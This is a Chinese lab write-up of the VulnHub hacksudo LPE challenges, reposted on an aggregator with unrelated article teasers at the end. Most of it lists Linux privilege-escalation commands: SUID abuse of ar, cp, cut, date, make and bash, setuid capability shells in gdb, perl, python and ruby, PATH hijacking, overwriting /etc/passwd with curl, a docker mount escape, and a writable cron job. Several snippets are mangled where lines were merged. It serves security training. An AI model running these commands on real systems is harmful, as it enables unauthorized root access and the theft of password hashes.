vulnhub靶场【hacksudo】之LPE的后续提权方法学习

前言

靶场:hacksudo-lpe的后几个challenge

基于上篇靶场hacksudo-plesudo提权

SUID文件提权

ar文件提权

使用find寻找具有SUID权限的文件

find / -perm -u=s -type f 2>/dev/null

查看ar的SUID用法

sudo install -m =xs $(which ar) .TF=$(mktemp -u)
LFILE="/etc/shadow"
./ar r "$TF" "$LFILE"
cat "$TF"

可以看到用法是越权查看文件

sh提权

这个文件名可能不一样,但是性质是一样的,也就是名称不同。

使用find寻找具有SUID权限文件

find / -perm -4000 -exec ls -al {} \; 2>/dev/null

因为是可执行文件,使用strings查看,因为内容太多,这里我是先直接执行,发现另起一个shell终端,并且还是当前用户的终端,所以,猜测是执行sh

./bash -p

所以直接使用即可

切换用户提权

使用find寻找具有SUID权限文件

find / -perm -4000 -print 2>/dev/null

因为知道密码,所以直接替换后,使用上一个进行提取即可

base32

使用find寻找具有SUID权限文件

find / -perm -u=s -type f 2>/dev/null

测试发现是base32,那么就可以直接进行越权读取

bash提取

使用find寻找

find / -perm -4000 -user root -exec ls -al {} \; 2>/dev/null

查看文件类型,属于可执行文件,尝试查看帮助,发现是命令bash本身

使用bash -p即可提取

cat提取

使用find寻找具有SUID权限文件

find / -perm -4000 -print 2>/dev/null

查看文件类型,发现是可执行文件,并且查看帮助,确定为cat命令

那么直接使用查看,越权查看文件

chmod提取

使用find寻找具有SUID权限文件

find / -perm -u=s -type f 2>/dev/null

查看文件类型,发现是可执行文件,并且测试帮助,确定为chmod命令

那么修改文件为其他人可读可写可执行即可,不过注意,修改时,有时父目录也是有权限限制的,这个别忘了修改

chroot提取

使用find寻找具有SUID权限文件

find / -perm -4000 -user root -print 2>/dev/null

查看文件类型,为可执行文件,并且查看帮助,确定是命令chroot

./chroot / /bin/sh -p
#即可提取

cp提取

使用find寻找具有SUID权限文件

find / -perm -u=s -type f 2>/dev/null

查看文件类型为可执行文件,并查看帮助,确定为cp命令

与之前使用sudocp进行提取用法差不多

三种方法,复制并读取,复制写入,第三种记录一下,之前并没碰到

LFILE="/etc/shadow"
./cp --attributes-only --preserve=all ./cp "$LFILE"

CPUlimit提取

使用find寻找具有SUID权限的文件

find / -perm -4000 -user root -print 2>/dev/null

查看文件类型为可执行文件,并且确定命令为CPUlimit

查看使用方法

./cpulimit -l 100 -f -- /bin/sh -p

cut提取

使用find寻找具有SUID权限文件

find / -perm -u=s -type f 2>/dev/null

查看文件类型为可执行文件,并查看帮助,确定为命令cut

用法与使用sudo提取时一样

LFILE="/etc/shadow"
./cut -d "" -f1 "$LFILE"

sh提取

使用find寻找具有SUID权限文件

find / -perm -4000 -exec ls -al {} \; 2>/dev/null

查看文件类型为可执行文件,并且测试发现是sh,直接使用sh -p提取即可

date提取

使用find寻找具有SUID权限文件

find / -perm -4000 -print 2>/dev/null

查看文件类型为可执行文件,查看帮助确定为命令date

用法与具有sudo权限是一样的

date -f "/etc/shadow"

make提取

使用find寻找具有SUID权限文件

find / -perm -4000 -print 2>/dev/null

查看文件类型为可执行文件,并且测试,大概率为make命令

用法

COMMAND='/bin/sh -p'
./make -s --eval=$'x:\n\t-'"$COMMAND"

脚本语言Capabilities 提权

gdb语言

使用find命令寻找对于其他用户也是可以执行gdb的文件

find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法,可以看到是查看是否具有ep权限的,可以使用getcap查看,这里getcap环境变量问题,可以先找到其位置,xargs就是把前面的输出作为getcap的目标

./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

node语言

使用find寻找

find / -name "getcap" 2>/dev/null
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

cp $(which node) .
sudo setcap cap_setuid+ep node./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

测试,发现无权限使用setcap,那就无法修改,无法提取,只能到此

perl语言

之前确认了getcap的命令位置,以及可使用,所以,直接搜索

find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

cp $(which perl) .
sudo setcap cap_setuid+ep perl./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

这里因为在当前用户目录下,有权限,并且满足条件。所以可以到目录下直接使用

php语言

使用find寻找

find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

cp $(which php) .
sudo setcap cap_setuid+ep phpCMD="/bin/sh"
./php -r "posix_setuid(0); system('$CMD');"

进行提取

python语言

使用find寻找

find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

cp $(which python) .
sudo setcap cap_setuid+ep python./python -c 'import os; os.setuid(0); os.system("/bin/sh")'

ruby语言

使用find寻找

find / -type f -executable 2>/dev/null | xargs /bin/sbin/getcap -r 2>/dev/null

查看用法

cp $(which ruby) .
sudo setcap cap_setuid+ep ruby./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

python3语言

使用find寻找

find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

cp $(which python) .
sudo setcap cap_setuid+ep python./python -c 'import os; os.setuid(0); os.system("/bin/sh")'

python2是一样的,都是python语言,只是版本不同

环境变量提权

apt-get临时变量

使用find寻找具有SUID权限的文件

find / -perm -u=s -type f 2>/dev/null

不过测试,发现应该是调用apt-get,为什么呢,因为不管传参是什么都不会被接收,说明该文件本身不是apt,而是调用的

既然是调用,那么就可以考虑环境变量,利用export设置临时变量,并且是具有优先权的,这个最好是在/tmp目录下新建apt-get,因为这是权限允许范围内的。

然后把文件给予执行权限,执行shell时,就会提权成功

ftp临时变量

使用find寻找具有SUID权限的文件

find / -perm -u=s -type f 2>/dev/null

测试文件发现,涉及到ftp,并且并不是ftp命令,参数无法接收,也就是其调用了ftp,那么尝试设置临时变量来覆盖,与上面一样,最好是在/tmp目录进行

可写文件滥用提权

利用curl

使用find寻找具有SUID权限的文件,不过这里找到的是curl

find - perm -u=s -type f 2>/dev/null

在上一篇的sudo提权文章中,个人以为只能下载,后又研究一下 ,发现不止是http协议,也是可以利用file协议与curl配合,所以就可以进行读取本地文件或写入本地文件

【curl写入】
LFILE=file_to_write
TF=$(mktemp)
echo DATA >$TF
curl "file://$TF" -o "$LFILE"【curl读取】
LFILE=/tmp/file_to_read
curl file://$LFILE

复制/etc/passwd文件,然后修改这个复制id文件,再通过curl重新覆盖原本的/etc/passwd文件

使用su命令切换到自己本身的用户,因为知道自己本身的密码

利用具有SUID的py文件

使用find寻找具有SUID权限文件

find /-perm -4000 -print 2>/dev/null

可以看到这个python文件,具有SUID权限,但是不能直接写入,因为其所属者和所属组都是root,且其他人无写入权限,不过这里导入两个包ossys,寻找这两个包,看其权限,发现并未有权限

find / -name "os.py" -exec ls -l {} \; 2>/dev/null

寻找导入模块os.py位置以及权限,是否可写

但是发现寻找sys.py,确没有这个文件,那么能否自己写这个包呢,进行测试,也是无权限写入

这就不知道该怎么提权了,又不能写入

可读文件滥用提权

cpio提权

使用find寻找具有SUID权限的文件

find / -perm -u=s -type f 2>/dev/null

测试发现,本身就是命令cpio,查看用法,发现该命令可进行读、写等操作

链接https://gtfobins.github.io/gtfobins/cpio/#suid

【读文件内容】
LFILE="/root/root.txt"
TF=$(mktemp -d)
echo "$LFILE" | ./cpio -R $UID -dp $TF
cat "$TF/$LFILE"或者
echo "/root/root.txt" | cpio -o

git提权

使用find寻找具有SUID权限的文件

find / -perm -4000 -print 2>/dev/null

查看其用法,可用的操作很多,尤其是具有SUID权限

链接https://gtfobins.github.io/gtfobins/git/#limited-suid

【读取文件内容】
./git diff /dev/null /root/root.txt

测试获取shell,发现不行,当前只能读取文件内容

docker提权

当使用find等搜索无发现时,查看id发现,当前用户处于docker,不过docker中并无任何镜像

在进行docker逃逸时,常用的镜像就是alpine

因为docker默认源是在国外,并且大部分的docker源可能都失效,所以这里在kali中先下载镜像,然后导出,再使用靶机下载

靶机导入

查看用法,大致都是这一种

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

通配符滥用

这里其实就需要构造条件来满足,但是这里并无条件,需要自己使用root先创建条件,这里可以看参考链接学习https://www.freebuf.com/articles/system/176255.html

crontab定时提权

使用find寻找具有SUID权限用户发现暂无,使用find寻找capabilities的特权文件,发现暂无。

查看定时任务,一般使用crontab可查看文件/etc/crontab

发现定时任务,每一分钟执行这个python文件

这个文件可以写入,查看文件内容

那么自己写入一个唤起bash终端,因为所有者是root,所以导致提权成功

当然,这是需要等待一分钟的时间,也就是当定时任务执行的时候

总结

通过该挑战可以学习到各种方式的提权,并且是不依赖漏洞的。

大部分基于SUID和sudo进行提权的

以及一个环境变量和capabilities的权限

对于一些文件的修改,而可以间接提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/889104.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【 C语言练习(4)—可自己设置游戏规则的猜数字游戏】

C语言练习(4) 文章目录 C语言练习(4)前言题目题目解析结果总结 前言 本次写的猜字游戏有两大优点,可重复玩游戏、可自己设置猜数字规则,通过猜数字游戏锻炼循环体和选择结构体 题目 写一个给定猜数次数&a…

【4】数据分析基础(pandas中的series 1)

学习目标2 pandas模块的学习。 pandas是一个基于NumPy的模块,它的功能在于数据的筛选清洗和处理,与NumPy模块相比,pandas模块更擅长处理二维数据。 pandas模块主要有Series和DataFrame两种数据结构。 接下来,我们先学习Series…

创建项目,并且上传到git

第一步 本地新建新项目 第二步 git上新建空项目 第三步 将本地项目添加为git项目 1、复制初始化命令 在新建项目中登录git 2、将本地项目设置为git项目 在IDEA中执行一下命令 3、完成上述操作,IDEA会将本地项目识别为git项目,就可以执行git commit操…

Cisco Packet Tracer | Cisco Packet Tracer - VLAN 实验 - 交换机的 VLAN 划分

关注这个工具的其它相关笔记:Cisco Packet Tracer —— 使用教程合集-CSDN博客 0x01:VLAN 划分 - 单个交换机 0x0101:拓扑搭建流程 从软件底部拖出一台交换机(笔者选择的型号是 2960 IOS15): 然后再拖出四…

ICP和EDI许可证办理审核专用的网站系统源码程序下载—专供审核易过使用

在现代互联网及电子商务企业中,ICP许可证和EDI许可证不仅是法律要求,更是企业立足市场的重要基础。这两种许可证能够帮助企业爬梳合规问题,规避法律风险,并提升自身的信誉,增强客户的信任感。本文将详细介绍ICP许可证和…

MySQL Binlog 日志监听与 Spring 集成实战

MySQL Binlog 日志监听与 Spring 集成实战 binlog的三种模式 MySQL 的二进制日志(binlog)有三种常见的格式:Statement 模式、Row 模式和Mixed 模式。每种模式的设计目标不同,适用于不同的场景,以下是它们的详细对比和…

攻防世界安卓刷题笔记(新手模式)1-4

1.基础android 进入后是这样的页面。查看源代码看看。首先要注意这个软件并没有加壳,所以我们可以直接着手分析。搜索错误提示“Failed”定位到关键代码,看样子就是检验输入的内容 注意到这里有一行关键代码,cond_39对应的正是failed那个地方…

C++核心day3作业

作业: 1.整理思维导图 2.整理课上代码 3.把课上类的三个练习题的构造函数写出来 函数全部类内声明,类外定义 定义一个矩形类Rec,包含私有属性length、width,包含公有成员方法: void set_length(int l); //设置长度v…

Scala:正则表达式

object test03 {//正则表达式def main(args: Array[String]): Unit {//定义一个正则表达式//1.[ab]:表示匹配一个字符,或者是a,或者是b//2.[a-z]:表示从a到z的26个字母中的任意一个//3.[A-Z]:表示从A到Z的26个字母中的任意一个//4.[0-9]:表示从0到9的10…

可视化建模以及UML期末复习篇----UML图

这是一篇相对较长的文章,如你们所见,比较详细,全长两万字。我不建议你们一次性看完,直接跳目录找你需要的知识点即可。 --------欢迎各位来到我UML国! 一、UML图 总共有如下几种: 用例图(Use Ca…

[创业之路-191]:《华为战略管理法-DSTE实战体系》-2-BLM战略规划与执行的基本框架

目录 一、战略规划:BLM的核心内容 1. 战略规划部分 2 战略执行部分(战略解码) 二、BLM模型对企业战略制定和执行的价值 2.1 说法1: 1、共同的目标 2、同一种语言:提高团队协作效率 3、最基本的方法 4、执行的…

go引入skywalking

前置条件:安装好jdk11,linux服务器(centos7.9),go版本(我的是1.18,1.21都可以) 1.下载skywalking Downloads | Apache SkyWalking 2.下载agent源码 Downloads | Apache SkyWalkin…

操作系统Lesson11 - 进程调度和批处理系统调度

文章目录 调度三个问题: 进程行为何时调度调度分类依据时钟中断来分类系统环境分类 调度 调度: 一个程序。 调度对象:进程和内核级线程。 1.调度程序调度P1,读取PCB块在CPU中恢复它的现场(ctx); 2.当CPU执行完了P1之…

java各种锁介绍

1. synchronized锁: • 定义:Java内置的关键字锁,用于实现线程间的同步。它可以修饰方法或代码块。 • 特性:隐式获取和释放锁,自动处理锁的粒度(方法级或代码块级),支持重入性。 •…

国产化(三):中间件——东方通TongWeb7.0

一、准备工作 1、软件包和license文件 2、检查jdk是否安装 二、安装 1、创建tongweb文件夹 我是把软件包放在了桌面,通过命令将软件包移动到指定文件夹下。 1—切换到opt文件夹 cd /opt 2—查看文件夹里的文件 ls 3—创建tongweb文件夹 sudo mkdir tongweb 4—检…

Java面试题精选:设计模式(二)

1、装饰器模式与代理模式的区别 1)代理模式(Proxy Design Pattern ) 原始定义是:让你能够提供对象的替代品或其占位符。代理控制着对于原对象的访问,并允许将请求提交给对象前后进行一些处理。 代理模式的适用场景 功能增强 当需要对一个对…

Java版-图论-最小生成树-Prim算法

实现描述 如图: Prim算法的基本思想是从一个顶点开始,逐步构建最小生成树。具体步骤如下: 随机选取一个顶点作为起始点,并将其加入最小生成树的集合中。从该顶点出发,选择一条边连接到其他未被访问的顶点中的最小权…

Linux WEB服务器的部署及优化

1.用户常用关于web的信息 1.1.什么是www www是world wide web的缩写,及万维网,也就是全球信息广播的意思。 通常说的上网就是使用www来查询用户所需要的信息。 www可以结合文字、图形、影像以及声音等多媒体,超链接的方式将信息以Internet…

【HarmonyOS学习日志(13)】计算机网络之TCP/IP协议族(二)

文章目录 TCP/IP协议族ARPDNS标志字段:协商具体的通信方式和反馈通信状态DNS查询问题的格式资源记录(Resource Record, RR)格式:被用于应答字段、授权字段和额外信息字段 IP协议IP服务的特点无状态无连接不可靠 IP头部结构IPv4头部…

Python + Playwright:集成 Applitools 进行视觉回归测试(快速入门)

集成 Applitools 进行视觉回归测试(快速入门) 简介Applitools 的核心特点Applitools 的应用场景1. 准备工作2. 获取示例项目2.1 下载示例代码2.2 安装依赖2.3 选择测试运行方式3. 代码解析3.1 测试用例示例4. 运行测试4.1 设置 Applitools API 变量4.2 设置 Applitools Eyes …